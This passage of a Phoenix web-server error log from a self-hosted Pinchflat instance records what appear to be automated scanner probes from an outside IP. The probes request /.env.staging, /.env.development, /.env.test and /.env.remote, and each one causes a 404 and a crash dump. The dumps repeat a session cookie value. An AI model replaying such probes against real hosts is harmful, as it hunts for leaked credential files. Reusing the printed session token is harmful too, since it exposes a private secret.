s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.291 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.292 [error] #PID<0.3314.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 10) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3314.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6AcFCFtBhQYAAQJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:06.399 [info] GET /.env.development 02:10:06.400 [debug] QUERY OK source="settings" db=0.2ms idle=336.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.400 [debug] QUERY OK source="settings" db=0.1ms idle=219.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.401 [error] #PID<0.3315.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 11) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.development ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3315.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.development", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6A1_9fjxB-kAAQKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:06.511 [info] GET /.env.test 02:10:06.513 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=330.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.513 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=221.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.513 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.514 [error] #PID<0.3316.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 12) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3316.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6BQuZwlROFMAAQLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "p (truncated) 02:10:06.631 [info] GET /.env.remote 02:10:06.632 [debug] QUERY OK source="settings" db=0.2ms idle=340.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.632 [debug] QUERY OK source="settings" db=0.1ms idle=232.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.632 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.632 [error] #PID<0.3317.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 13) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.remote ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.remote", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3317.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, 